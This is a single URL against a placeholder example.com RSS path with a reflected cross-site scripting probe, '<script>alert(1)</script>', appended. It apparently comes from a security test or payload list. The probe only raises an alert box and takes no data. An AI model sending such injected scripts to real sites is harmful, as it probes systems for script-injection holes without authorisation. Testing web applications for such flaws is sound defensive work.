http://www.example.com/home/rss.php/<script>alert(1)</script>